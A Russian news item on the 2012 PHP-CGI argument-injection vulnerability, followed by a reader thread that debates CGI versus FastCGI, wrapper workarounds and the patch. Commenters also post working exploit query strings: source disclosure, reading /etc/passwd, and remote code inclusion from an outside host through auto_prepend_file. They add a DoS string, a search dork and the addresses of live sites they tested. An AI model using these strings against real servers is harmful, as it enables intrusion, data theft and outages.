Компьютерная группа реагирования на чрезвычайные ситуации (CERT) опубликовала (http://www.kb.cert.org/vuls/id/520827) уведомление об утечке информации о критической уязвимости в PHP, которая позволяет запустить произвольный код на сервере или просмотреть исходный код любого PHP-скрипта, выполняемого в CGI-режиме. Cкрипты, выполняемые с использованием mod_php и FastCGI, не подвержены проблеме.
Опасность уязвимости усугубляет тот факт, что несмотря на то, что разработчики PHP были уведомлены о проблеме ещё 17 января, а 23 февраля был отправлен дополнительный запрос от имени CERT, уязвимость остаётся неисправленной. Проблема вызвана ошибкой, допущенной в 2004 году. Интересно также то, что утечка информации возникла (http://www.reddit.com/r/PHP/comments/t3pr8/how_serious_is_this/) из-за оплошности разработчиков PHP, поместивших (http://ompldr.org/vZGxxaQ) информацию о проблеме в публичный трекер ошибок, до момента выхода исправления с устранением уязвимости.
Эксплуатация проблемы тривиальна (http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/) - достаточно передать опцию командной строки, поддерживаемую интерпретатором, в качестве аргумента при выполнении запроса. Например, для показа исходного кода текущего скрипта достаточно указать "http://localhost/index.php?-s". Также можно поступить и с другими опциями и проявив немного эрудиции организовать выполнение кода на сервере. Всем пользователям PHP, использующим скрипты в режиме CGI, следует незамедлительно установить патч (https://bugs.php.net/patch-add.php?bug_id=61910).URL: http://www.kb.cert.org/vuls/id/520827
Новость: http://www.opennet.ru/opennews/art.shtml?num=33765
PHP???
Nobody cares
кто-то юзает php в cgi режиме??????????????????
Некрофилы и извращенцы. Ну наконец то им прилетят серебряные пули :)
Некоторые хостеры, которые орут что у них есть PHP 5.2 5.3 и 5.4
PHP: a fractal of bad design.
> выполняемого в CGI-режиме.Так и надо всяким некроманам-извращенцам ;]
Хм. А я думал, что это штатная фича.
Теперь понятно, почему в документации ее хрен найдешь.
тож думал что это фишка...:)...както странно слышать это среди багов... xD .. хотя уже и не странно xD .. видимо чтобы эта фигня проявила себя -- php-cgi нужно вызывать напрямую из Apache а не через shell wrapper
Ожидаемо.
жуть
какое счастье, что у меня fcgi
У кого то еще CGI?
На самом деле судя по всему и PHP-скрипты под FastCGI тоже уязвимы, только эксплуатировать можно если попасть в первый запрос при запуске нового FastCGI-процесса. Но здесь всё очень сильно зависит от конфигурации и способа запуска PHP под FastCGI.
> На самом деле судя по всему и PHP-скрипты под FastCGI тоже уязвимы,
> только эксплуатировать можно если попасть в первый запрос при запуске нового
> FastCGI-процесса. Но здесь всё очень сильно зависит от конфигурации и способа
> запуска PHP под FastCGI.Например, в дефолтовом примере к spawn-fcgi вызывается php5-cgi и теоретически должно сработать.
> Например, в дефолтовом примере к spawn-fcgi вызывается php5-cgi и теоретически должно сработать.А что, пыху там через командлайн параметры запроса передаются? В cgi оно вот так вот, ибо дебильный древний и тормозной протокол с форком обработчика на каждый реквест и передачей ему параметров через командлайн + редиректом вывода. Что делает этот идиотизм крайне паршивым с точки зрения нагрузки и безопасности: кто угодно может вам провоцировать довольно тяжелый форк процесса оптом извне, что уже хорошая заявка на победу.
А у фаста ж постоянно висяшие процессы + свой протокол для передачи параметров. Не догоняю как сие должно в нем срабатывать?
Почитайте на досуге как работает CGI, командная строка там вообще не причём. FastCGI отличается от CGI только дополнительным циклом обработки запросов, чтобы каждый раз заново процесс не запускать, в остальном всё идентично.
Вы не правы. Почитайте сами спецификации на CGI и FCGI, это разные протоколы.
И и там и там запускаемое приложение, в нашем случае интерпретатор php со скриптом, получает аргументы через стандартный ввод и переменные окружения. В логике работы разница только в цикле. То что отличаются методы доставки запроса (стандартный ввод/вывод vs UNIX или TCP сокет) большой роли в рассматриваемой ситуации не играет, на уровне приложения вся обработка параметров запроса идентична.
> рассматриваемой ситуации не играет, на уровне приложения вся обработка параметров запроса
> идентична.Прикольно гнать пургу с умным видом? А если ман все-таки почитать, там таки написано что это совершенно разные протоколы.
В частности, для особо упорных дятлов я замечу что fastcgi-сервер взлетает без каких либо сакральных знаний о запросах и лишь вывешивает сокет - для взаимодействия по собственному протоколу с фронтэндом. И все. А все запросы рюхаются через тот протокол и сокет уже. Ну то-есть обычный такой постоянно живущий бэкэнд не перезапускаемый на каждый запрос. По поводу чего он и fast, собственно.
Да, для кулхаксоров собравшихся это ломать - http://www.fastcgi.com/devkit/doc/fcgi-spec.html
Таки объясните мне как выглядит хак, при том что бэкэнд фаста запускается и ждет коннекций от фронтэнда? Спиди-гонщики :)
> Прикольно гнать пургу с умным видом? А если ман все-таки почитать, там таки написано что это совершенно разные протоколы.При чем здесь протокол доставки, когда речь про обработку запроса на стороне приложения ? HTTP и HTTPS тоже разные протоколы.
> А все запросы рюхаются через тот протокол и сокет уже.
Для приложения обработка таких запросов абсолютно идентична, что при CGI, что при FastCGI. Не важно что под капотом, для приложения обработка будет одинакова, весь перевод приложения от CGI к FastCGI сводится к добавлению цикла и подключению FCGI-библиотеки.
> Почитайте на досуге как работает CGI, командная строка там вообще не причём.
> FastCGI отличается от CGI только дополнительным циклом обработки запросов,Вообще-то я читал спеки на оба и fast как-то совсем-совсем другой протокол.
> чтобы каждый раз заново процесс не запускать, в остальном всё идентично.
... кроме того что нет собственно запуска и передачи параметров, все делается через свой протокол обмена. Ну а раз нет запуска - то как вы, черт возьми, проэксплуатируете запуск?! :)
Это я ступил, думал что ошибка в PHP сводится к тому, что он параметры в STDIN парсит как параметры командной строки. Оказалось, действительно, СGI когда в запросе нет "=" передаёт параметры через командную строку:
4.4. The Script Command LineSome systems support a method for supplying an array of strings to
the CGI script. This is only used in the case of an 'indexed' HTTP
query, which is identified by a 'GET' or 'HEAD' request with a URI
query string that does not contain any unencoded "=" characters. For
such a request, the server SHOULD treat the query-string as a
search-string and parse it into words, using the rulessearch-string = search-word *( "+" search-word )
search-word = 1*schar
schar = unreserved | escaped | xreserved
xreserved = ";" | "/" | "?" | ":" | "@" | "&" | "=" | "," |
"$"After parsing, each search-word is URL-decoded, optionally encoded in
a system-defined manner and then added to the command line argument
list.If the server cannot create any part of the argument list, then the
server MUST NOT generate any command line information. For example,
the number of arguments may be greater than operating system or
server limits, or one of the words may not be representable as an
argument.The script SHOULD check to see if the QUERY_STRING value contains an
unencoded "=" character, and SHOULD NOT use the command line
arguments if it does.
> протокол с форком обработчика на каждый реквест и передачей ему параметров через командлайнНе командлайн, а STDIN.
> дебильный древний и тормозной протоколда для вас наверно всё старое - дебильное и тормозное. А для кого-то это этап в развитии.
Тем более CGI позволяет делать кое-что, чего другие не могут в принципе. Дебилизм - это применять ко всем мерку "если это велосипед, то он по умолчанию хуже моего лексуса". Даже если велик и "тормознее".
(Не говоря уже о том, что на современных серваках с современными скриптами все эти форки и передача аргументов занимают 0.0001% процессорного времени)
>> дебильный древний и тормозной протокол
> да для вас наверно всё старое - дебильное и тормозное.Все познается в сравнении. Но некоторые дизайны просто галимы на уровне идеи. Столь же безблагодатная идея как форки процессов в апаче.
> Тем более CGI позволяет делать кое-что, чего другие не могут в принципе.
Например? Очень интересно :)
> все эти форки и передача аргументов занимают 0.0001% процессорного времени)
Ага. Пока не придет Вася Пупкин и не пустит туда ab2 какой-нибудь. Порсле чего Васин нетбук на раз укладывает многопроцессорный ксеон. Потому что ему только конекцию сделать, а серваку - отдуваться по полной: форкануть процесс, обработать запрос, ... :)
>> Тем более CGI позволяет делать кое-что, чего другие не могут в принципе.
> Например? Очень интересно :)Ну не то чтобы принципиально невозможно, но некоторые вещи действительно удобней через cgi, чем через fcgi. Например когда cgi скриптов(или вообще бинарников) много, но каждый из них запускается редко, а значит держать его в памяти в виде постоянного fcgi процесса особого смысла не имеет. Особенно хорошо, когда все эти скрипты недоступны без http авторизации.
>> все эти форки и передача аргументов занимают 0.0001% процессорного времени)
>Ага. Пока не придет Вася Пупкин и не пустит туда ab2 какой-нибудь. Порсле чего Васин нетбук на раз укладывает многопроцессорный ксеон. Потому что ему только конекцию сделать, а серваку - отдуваться по полной: форкануть процесс, обработать запрос, ... :)Если сравнить это с оверхедом https, то не так уж много получится. Может и от https отказаться? Ну и неплохо было бы понимать, что с точки зрения конечного пользователя абсолютно фиолетово почему не открывается страничка - из-за перегрузки сервера запусками интерпретаторов(а ведь cgi может быть и шустрым бинарником) или из-за превышения лимитов на соединения и/или количество fcgi процессов.
> Может и от https отказаться?очень разумная идея.
>>> Тем более CGI позволяет делать кое-что, чего другие не могут в принципе.
>> Например? Очень интересно :)
> Ну не то чтобы принципиально невозможно, но некоторые вещи действительно удобней через
> cgi, чем через fcgi. Например когда cgi скриптов(или вообще бинарников) много,
> но каждый из них запускается редко, а значит держать его в
> памяти в виде постоянного fcgi процесса особого смысла не имеет. Особенно
> хорошо, когда все эти скрипты недоступны без http авторизации.тут особой проблемы нет, можно поставить минимальное кол-во fcgi-процессов в 0 и таймаут жизни fcgi-процесса, скажем в 5-ть минут. если за пять минут обращений не было, то процесс умрет освободив память. минус только один: настройки fcgi сложнее, чем cgi, писать ручками много больше.
hc.ru - хостинг-центр РБК
Очень многие российские хостинги (включая самые крупные) запускают php именно в режиме cgi.
Патч применят не все и не сразу.
Имхо, это кандидат на звание самой эпичной уязвимости php за всю историю интерпретатора.
> Очень многие российские хостинги (включая самые крупные) запускают php именно в режиме cgi.
> Патч применят не все и не сразу.Если именно CGI и даже не фаст - так и надо этим дебилам. Естественный отбор. Чем раньше даунов вынесет с рынка - тем лучше.
Для PHP нет другого пути разделения привилегий, если использовать mod_php, то все скрипты будут работать под одним пользователем. Хаки вида openbasedir мало помогают, регулярно всплывают новые методы их обхода. FastCGI в условиях shared хостинга неприменим из-за больших накладных расходов (для каждого пользователя с активным сайтом в памяти нужно держать как минимум один процесс).
У Valuehost с этим проблем нет. Когда-то давно на форуме webhostingtalk.ru видел обсуждение по поводу реализации работы от разных пользователей. Там принимал участие один из самых активных администраторов в то время Valuehost. Он описал принцип работы хостинга, хотя реальных примеров не приводил. В принципе у меня получилось на локальной машине, но не работали некоторые вещи (например, загрузка файлов на сервер). И не работали они и там скорее всего до патчей. Вот только содержимое патчей так и не появилось на форуме. Было только известно, что патчи не затрагивают операционную систему (у них FreeBSD).
Ох! Проситите! Столько запятых пропустил в тексте :(
Ой, только Valuehost не вспоминайте, там был грязный хак с постоянной работой всех дочерних процессов apache под root-ом и сменой пользователя при обработке каждого запроса. Такой метод не намного лучше cgi, только вместо запуска внешнего процесса форкается дочерняя копия httpd.
php-fpm поможет отцу русской демократии. Объявите столько пулов, сколько у вас пользователей, и запускайте каждый пул от своего аккаунта.
>FastCGI в условиях shared хостинга
> неприменим из-за больших накладных расходов (для каждого пользователя с активным сайтом
> в памяти нужно держать как минимум один процесс).Расходы есть по памяти (среднее кол-во памяти на php-cgi-процесс: 15М, при 1000 пользователях, DefaultMinClassProcessCount 0 (mod_fcgid) и DefaultMaxClassProcessCount 10, среднее кол-во одновременно запущенных php-cgi - не превышает 700, т.е. ~10ГБ оперативки, сейчас в таком режиме у меня работает 14 серверов, при этом глобально подключено совсем не много модулей, каждый юзер сам включает то, что ему нужно в своем собственном php.ini, такая занимательная статистика), но есть и сокращение расходов по ЦПУ.
mod_ruid же
>> Очень многие российские хостинги (включая самые крупные) запускают php именно в режиме cgi.и правильно делают, кстати :) точно так же запускают и перл и питон и sh и всё остальное, если оно есть.
> Если именно CGI и даже не фаст - так и надо этим
> дебилам. Естественный отбор. Чем раньше даунов вынесет с рынка - тем
> лучше.Да что вы пристали к CGI? Вам не нравится "форк процесса и передача параметров через STDIN"? Вы тесты проводили, как это работает? Проводили ли вы эти тесты на чём-то более современном, чем пентиум-166ММХ с 16 МБ RAM? И на чём-то типа жумлы или друпала, которые жрут сами столько ЦПУ, что ваши 0.1мс на форк не повлияют на нагрузку никак? И не забывайте ещё, что только в CGI можно запустить пых с апачем в мультитреде, а иначе (когда пых - модуль апача) будет точно такой же форк процессов, только не одного пыха, а всего апача со всеми модулями (обычно раз в 50-100 запросов). Плюс утечки памяти. Так лучше?
А если это убожество РНР имеет такие баги, то причём здесь CGI? Если жирный уродливый тролль не умеет ездить на велике, это не проблема велика.
Очень надеюсь, что процесс умирания РНР (в текущем виде) после этого бага ускорится. Хотя не в текущем виде это уже будет не РНР. Да и зачем?..
> Очень надеюсь, что процесс умирания РНР (в текущем виде) после этого бага ускорится.Не ускориться, потому что всегда будет дофига тех, кто не осилил нормальные языки и платформы. И всегда будет куча заказчиков-жлобов, которые будут нанимать ниосиляторов за копейки, чтобы, как они думают, увеличить свою прибыль.
Можно проблему эту решить через mod rewrite ну или другие rewriteры.
или при помощи полного удаления php, это всяко надёжней.
> или при помощи полного удаления php, это всяко надёжней.Если пойти чуть дальше, можно не подключать сеть. Тогда хакеру придется притащиться к серверу лично, что существенно усложняет взлом. Алсо, можно установить пустой корпус от сервера. Тогда хакер вообще обломается. Вот прищел ты хакать сервер, а там мамки нет! Абыдна, да? :)
качество кода php достаточно общеизвестно. использовать ЭТО можно или от нечего делать, когда на результат плевать, или за очень большие деньги (если заказчик не знает адреса, а то может и наведаться потом), или от очень большой глупости.p.s. не «кода на php», а «кода самого php», буде кто не понял.
Это было бы так, но уязвимости подвержены далеко не все хостинги с PHP как CGI (может быть, подвержено меньшинство из них). Например, применяется вариант с патчем в suEXEC, где интерпретатору PHP через командную строку передается только имя скрипта (до этого проверенное stat()'ом и не только). Shell-wrapper при этом не нужен (и не используется).char *new_argv[] = { php_bin_path, cmd, NULL };
execv(php_bin_path, new_argv);Вариант с shell-wrapper'ом же всегда следовало считать очень опасным. (Я был удивлен, когда увидел его, кажется, на DreamHost wiki пару лет назад. Это скорее исключение, чем правило.) Он был почти аналогичен размещению самого интерпретатора PHP в cgi-bin, т.е. вся безопасность сводилась к hardening'у PHP на тему такого misuse'а. Это, конечно, не снимает ответственности с разработчиков PHP, которые этот hardening убрали по забывчивости, при этом не поправив информацию на http://www.php.net/manual/en/security.cgi-bin.attacks.php - но полагаться на это было наивно с самого начала (т.е. с 1990-х, когда тема интерпретаторов в cgi-bin была поднята исходно). Также, они зря не называли эти вещи своими именами - hardening и misuse - пытаясь вместо этого документировать будто бы конкретно с PHP, в отличие от других интерпретаторов, так поступать можно.
http://allvanyzatok.hu/phpinfo.php, обратите внимание на Server API: CGI. Не удалось получить исходник.
http://360commercialre.com/phpinfo.php, тоже. Вот с версией постарше -http://31minutos.inet.cl/phpinfo.php - тоже
во враппере:
exec /usr/bin/php-cgi -- "$@"
или вообще без параметров
Спасибо, работает воркэрраунд:
#!/bin/dash
exec /usr/lib/cgi-bin/php5 -- "$@"Просто нет смысла держать на ВПС постоянно в памяти mod_php ради одного сайта с посещаемостью 5 чел. в сутки.
> Просто нет смысла держать на ВПС постоянно в памяти mod_php ради одного
> сайта с посещаемостью 5 чел. в сутки.Вы все-равно не сможете безнаказанно занять эту память - под угрозой облома выполнения скрипта. Памяти или хватает суммарно на всех, или нет. Хуже всего когда ее изредка не хватает в сильно некоторых ситуациях, такая грабля может очень сильно съесть мозг.
Из скрипта никак не узнаешь как запущен PHP, как FCGI или просто CGI. Поэтому в phpinfo и будет написано cgi.
кроме ?-s чтонибудь "полезное" получилось выполнить? :)...ато например ?--run%3Dphpinfo()%3B чтото не получается... гдето ошибся, но не пойму где %) %)
%22%3B может закрываться так должно? А не наоборот?
> %22%3B может закрываться так должно? А не наоборот?понял в чём дело... нет такого параметра в php-cgi ... там только:
$ php-cgi --help
Usage: php [-q] [-h] [-s] [-v] [-i] [-f <file>]
php <file> [args...]
-a Run interactively
-b <address:port>|<port> Bind Path for external FASTCGI Server mode
-C Do not chdir to the script's directory
-c <path>|<file> Look for php.ini file in this directory
-n No php.ini file will be used
-d foo[=bar] Define INI entry foo with value 'bar'
-e Generate extended information for debugger/profiler
-f <file> Parse <file>. Implies `-q'
-h This help
-i PHP information
-l Syntax check only (lint)
-m Show compiled in modules
-q Quiet-mode. Suppress HTTP Header output.
-s Display colour syntax highlighted source.
-v Version number
-w Display source with stripped comments and whitespace.
-z <file> Load Zend extension <file>.
-T <count> Measure execution time of script repeated <count> times.
или всётаки я НЕ понял... ведь ?--syntax-highlight тоже работает
> кроме ?-s чтонибудь "полезное" получилось выполнить? :)кстате говоря напоминаю, что чтбы передать ДВА параметра, их нужно разделить знаком +
например:
?-d+foo%3Dbar(здесь ``%3D`` вместо ``=`` , так как ``=`` запрещено к использованию)
вот успешно получившийся пример:?-d+memory_limit%3D20M
этот параметр уменьшает лимит выделенной памяти ДО 20M (если уменьшить или увеличть этот параметр то мы можем увидить или не увидить страничку)
больше покатчо ничо не вышло.... :-( :-( :-(
а интересено былобы чтобы например както моглобы сработать:
auto_prepend_file
с параметром
http://ompldr.org/vZG0yNQ
дык, allow_url_include и в добрый путь
> дык, allow_url_include и в добрый путьпочемуто не выходет даже с ней... :-( :-( :-(
..единственное что удачно вышло с auto_prepend_file -- это прочитать список пользователей (/etc/passwd)
вот так
?-d+default_mimetype%3Dtext/plain+-d+auto_prepend_file%3D/etc/passwd
а может быть можно както создать типа ERROR LOG какойнить?? и внутри этого файла, созать нужную последовательность <?php ... ?> , а затем её локально подключить через auto_prepend_file ???что думаете, товарищи?
покачто не вижу пути подставить внутрь "error.log.php" хоть какуюто "полезную" инфинормарцию...ну тоесть создать то error.log.php можно.. и запустить его можно (preload) .. и даже можно специально сделать ошибку, которая пападёт внутрь этого error.log.php ..(например запросим несуществующий файл часть имени которого содержит символы <%3Fphp phpinfo()%3B %3F> :))
...но при вписывании "полезной" последовательности через URL-строку:
<%3Fphp phpinfo()%3B %3F>
Апач превращает её в последовательность
\<\?php phpinfo\(\)\; \?\>.php
(тоесть автоматически экранирует)таким образом в таком экранированном виде она и попадает внутрь error-log... :-(
печалька... а всё было так близко :-( :-(
работает если вместо php:// забить http:///i.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dhttp://domain.ru/info.txt
в info.txt какой-нить php-код. Например <?php phpinfo(); ?>
This setting requires allow_url_fopen to be on.
а ещё можно предположить, что сервера на которых я экспериментировал -- имеют iptables защищающий исходящие запросы... кто знает... %) %)...но вот никак не выходит :-(
dork :)
Server API CGI inurl:info.php -"CGI/FastCGI"и не работает нигде ?-s
И, по традиции, пачт уязвимость не устраняет, а немного видоизменяет - параметры передать всеравно можно.
DOS-ить можно: ?-T%2010000
php — глобально и надёжно!
nginx.org ещё раз подтверждает свои плюсы использования php без apache ;)
nginx головного мозга? Нефиг некрофилить по CGI.
> nginx головного мозга? Нефиг некрофилить по CGI.Я конечно, не совсем распарсил тонкого сарказму предыдущего оратора, но [предполагаю, он говорит, что] в nginx _нет CGI по жизни -- вообще. Только FastCGI. //Проверил на локалхосте с nginx + spawn-fcgi этот самый ...php?-s -- не действует.
плюс у него есть в том что он все еще не может .htaccess(
>он все еще не может .htaccess(Совувствуем _Вашим мучениям!! //В след.раз голубые ленточки начнём раздавать?
Т.е. из-за такой мелочи вы тянете за собой монстра Apache? Да, понимаю, в nginx это реализуется только в конфигах. Но реализуется же!
вы это скажите программистам битрикса.
или после каждого их костыля мне лезть в конфиг?
обговорил проблему с программерами и решили доставить апача к nginx
Выкиньте битрикс, вместе с программистами ;)
Когда глобальный движок заточен под что-то одно, он перестаёт быть глобальным движком.Выб.. ещёб.. нашлиб.. программистов которые затачивают только под ms-iis
> вы это скажите программистам битрикса.Это поделие обкуренных бабуинов только могила исправит. Почему-то все кто имел с ним дело из цензурных выражений для его описания использовали только междометия.
> Для PHP нет другого пути разделения привилегий, если использовать mod_php, то все скрипты будут работать под одним пользователем.открой для себя mpm-itk и будет тебе счастье
OK. А как крутить несколько версий php на одном сервере?
> OK. А как крутить несколько версий php на одном сервере?В принципе ничто не мешает собрать несколько модулей с разными именами модуля, и использовать.
Я чего-то не понимаю? Почему нельзя во врапере вместо
#!/bin/sh
/usr/data/wrappers/php/5.3/bin/php-cgi $*сделать просто
#!/bin/sh
/usr/data/wrappers/php/5.3/bin/php-cgi
Тогда путь до скрипта не получит.
Хотя, впрочем, должен получить через SCRIPT_FILENAME.
Мне другой вопрос гораздо интереснее: разве всё, что после "?" идёт, не должно передоваться в переменной окружения QUERY_STRING? Надо понимать, php-cgi автоматом дописывает QUERY_STRING в конец списка аргументов вызова, поэтому "--" и решает проблему?
php-cgi путь до скрипта получает через переменную окружения. В "$*" всегда находится только QUERY_STRING (кто не верит может проверить). Уязвимость работает именно потому что php-cgi фактически запускается как
php-cgi $QUERY_STRINGЕсли бы он в самом деле запускался как
php-cgi $SCRIPT $QUERY_STRING
проблемы бы не возникло. Сравните к примеру результаты работы в консоли
php-cgi index.php -s
и
php-cgi -s index.php
В первом случае "-s" не воспринимается как директива.При этом, сам php спокойно получет значение QUERY_STRING через одноименную переменную окружения, поэтому зачем передавать ему дополнительно "$*" я не понимаю. Нет "$*" - нет проблемы. Или я чего-то не учел?
php, такой php ((((
в win32 на проверяемом сервере оказалось, что запуск производится вообще просто как
Path_to_php\php-cgi.exe
а имя скрипта (ну QUERY_STRING конечно) передается через переменные окружения.
Но если же QUERY_STRING начинается со знака "-", вот тогда запуск происходит как
Path_to_php\php-cgi.exe QUERY_STRING
Соответственно все ниж приведенные wrapper'ы работают корректно.
И все же не совсем понимаю зачем вообще было реализовать ключи командной строки именно для php-cgi.exe.
Чуть ошибся я в проверке. Действительно, как и указано в спецификации CGI, если в строке запроса присутствует символ "=", то апач вызывает Path_to_php\php-cgi.exe и устанавливает переменную окружения QUERY_STRING. Если же символ "=" отсутствует, то апач вызывает
Path_to_php\php-cgi.exe строка_запроса
Дак просто используем следующий врапер, а не php-cgi сам
#!/usr/bin/php-cgiи проблема с -s не воспроизводится
Или для винды phpcgi.cmd@echo off
c:\php\php-cgi.exe
В связке nginx+php-fpm все спокойно, ничего воспроизвести не удалось. Можно спать спокойно)
Протестирована на nginx + php-fpm 4.4.9 и nginx + php-fpm 5.2.17
"Cкрипты, выполняемые с использованием mod_php и FastCGI (например,
связки nginx с php-fpm), не подвержены проблеме".
Вот интересно, кто, зачем и как часто использует PHP в CGI-режиме?..
> "Cкрипты, выполняемые с использованием mod_php и FastCGI (например,
> связки nginx с php-fpm), не подвержены проблеме".
> Вот интересно, кто, зачем и как часто использует PHP в CGI-режиме?..например для одновременной работы разныхверсий пхп.
И как часто требуется одновременная работа разных версий PHP? ;)
> И как часто требуется одновременная работа разных версий PHP? ;)на хостингах - бывает.
>> И как часто требуется одновременная работа разных версий PHP? ;)
> на хостингах - бывает.Ну, вообще говоря, обычно на хостингах (в случае apache) это решается одной строчкой в файле .htaccess в соответствующих местах, а не cgi-режимом. Или я чего-то не понимаю?
>>> И как часто требуется одновременная работа разных версий PHP? ;)
>> на хостингах - бывает.
> Ну, вообще говоря, обычно на хостингах (в случае apache) это решается одной
> строчкой в файле .htaccess в соответствующих местах, а не cgi-режимом. Или
> я чего-то не понимаю?строчку покажите
>>>> И как часто требуется одновременная работа разных версий PHP? ;)
>>> на хостингах - бывает.
>> Ну, вообще говоря, обычно на хостингах (в случае apache) это решается одной
>> строчкой в файле .htaccess в соответствующих местах, а не cgi-режимом. Или
>> я чего-то не понимаю?
> строчку покажитеНапример, так: AddType application/x-httpd-php53 .php
См. http://prog-school.ru/2010/10/kak-ispolzovat-raznye-versii-p.../
>>>>> И как часто требуется одновременная работа разных версий PHP? ;)
>>>> на хостингах - бывает.
>>> Ну, вообще говоря, обычно на хостингах (в случае apache) это решается одной
>>> строчкой в файле .htaccess в соответствующих местах, а не cgi-режимом. Или
>>> я чего-то не понимаю?
>> строчку покажите
> Например, так: AddType application/x-httpd-php53 .php
> См. http://prog-school.ru/2010/10/kak-ispolzovat-raznye-versii-p.../ну это только с юзерской стороны одна строчка...
mod_php не обеспечивает должного уровня изоляции, должный уровень - это разграниечение прав на уровне системы, по-этоум safe_mode (которого уже нет) и open_basedir не рассматриваем, тут подходит либо cgi, либо fastcgi, либо mtm-itk.
Не часто, но бывает.
Мне вот на днях пришлось перенести на свой сервер два проекта. Один из них работает только на PHP 4, второй не работает на PHP 5.3
И вот я был вынужден поставить в дополнение к связке nginx + apache + mod_php 5.3.3 еще 2 связки nginx + php-fpm 4.4.9 и nginx + php-fpm 5.2.17
> Не часто, но бывает.
> Мне вот на днях пришлось перенести на свой сервер два проекта. Один
> из них работает только на PHP 4, второй не работает на
> PHP 5.3
> И вот я был вынужден поставить в дополнение к связке nginx +
> apache + mod_php 5.3.3 еще 2 связки nginx + php-fpm 4.4.9
> и nginx + php-fpm 5.2.17Да уж, веселые приключения %)
Но все же Вам для этого не потребовалось запускать PHP-скрипты в CGI-режиме, или я неправ?
> например для одновременной работы разныхверсий пхп.Ну это если только религия не позволяет заменить php5_module на php51_module, php52_module, phpetc_module...
> Вот интересно, кто, зачем и как часто использует PHP в CGI-режиме?..На некоторых sharing-хостингах это обычная практика.
if((query_string = getenv("QUERY_STRING")) != NULL && strchr(query_string, '=') == NULL) {
/* we've got query string that has no = - apache CGI will pass it to command line */
unsigned char *p;
decoded_query_string = strdup(query_string);
php_url_decode(decoded_query_string, strlen(decoded_query_string));
for (p = decoded_query_string; *p && *p <= ' '; p++) {
/* skip all leading spaces */
}
if(*p == '-') { skip_getopt = 1;}
free(decoded_query_string);}Насколько я понял, теперь проверяется что если нету лидирующего знака "-" (исключая все лидирующие пробелы) то все равно происходит разбор командной строки.
Не является ли это все равно некоторой опасностью? Допустим
http://anysite.ru/?/anypath/anyscript.php
приведет к вызову
php /anypath/anyscript.php
И вот вопрос будет ли он обрабатывать скрипт, переданный в качестве параметра или переданный через переменную окружения SCRIPT_NAME. А /anypath/anyscript.php может быть какой-нибудь скрипт расположенный не document_root, а где-нибудь в временных каталогах. Конечно, это уже не такая критическая уязвимость, но все же непонятно зачем вообще обрабатывать командную строку, если скрипт запущен в режиме cgi. Когда теоретически даже это может понадобиться не для атаки, а для нормального использования?
>